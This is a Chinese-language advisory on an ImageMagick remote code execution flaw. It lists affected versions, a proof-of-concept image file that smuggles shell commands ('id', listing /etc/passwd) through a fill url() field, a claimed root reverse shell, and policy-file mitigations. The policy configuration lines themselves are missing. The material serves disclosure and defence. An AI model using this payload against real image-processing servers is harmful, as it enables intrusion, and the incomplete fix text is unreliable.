1、前言
ImageMagick是一套功能強大、穩定而且開源的工具集和開發包,可以用來讀、寫和處理超過89種基本格式的圖片文件,包括流行的TIFF、JPEG、GIF、PNG、PDF以及PhotoCD等格式。眾多的網站平臺都是用他渲染處理圖片。可惜在3號時被公開了一些列漏洞,其中一個漏洞可導致遠程執行代碼(RCE),如果你處理用戶提交的圖片。該漏洞是針對在野外使用此漏洞。許多圖像處理插件依賴于ImageMagick庫,包括但不限于PHP的imagick,Ruby的rmagick和paperclip,以及NodeJS的ImageMagick等。
產生原因是因為字符過濾不嚴謹所導致的執行代碼.對于文件名傳遞給后端的命令過濾不足,導致允許多種文件格式轉換過程中遠程執行代碼。
2、影響版本范圍
ImageMagick 6.5.7-8 2012-08-17(手工測試風險存在)
ImageMagick 6.7.7-10 2014-03-06(手工測試風險存在)
低版本至6.9.3-9released 2016-04-30
3、攻擊POC演示
先構建一個精心準備的圖片:
vi exp1.jpg
pushgraphic-context
viewbox 0 0 640480
fill'url(https://"|id && ls -al /etc/passwd")'
popgraphic-context
執行攻擊POC1,雖然有報錯,但是兩條命令都成功繞出執行了,
就說明漏洞是存在的
那么在制作一個遠程下載反彈shell腳本,并且執行shell命令:
執行成功,上接受服務器看去:
Root權限的反彈shell就這樣上來了.
4、修復方案
目前官方的最新修復補丁版本還未能出來,所以暫時建議做以下兩種預防策略:
1. 在上傳圖片時需要通過文件內容來判斷用戶上傳的是否為真實圖片類型.
2.使用策略配置文件來禁用ImageMagick的有風險的編碼器
對于ImageMagick全局策略配置文件在/etc/ImageMagick下對policy.xml最后一行進行增加下列配置:
vi/etc/ImageMagick/policy.xml
在去執行攻擊POC2看看,無法執行下載動作和執行命令了。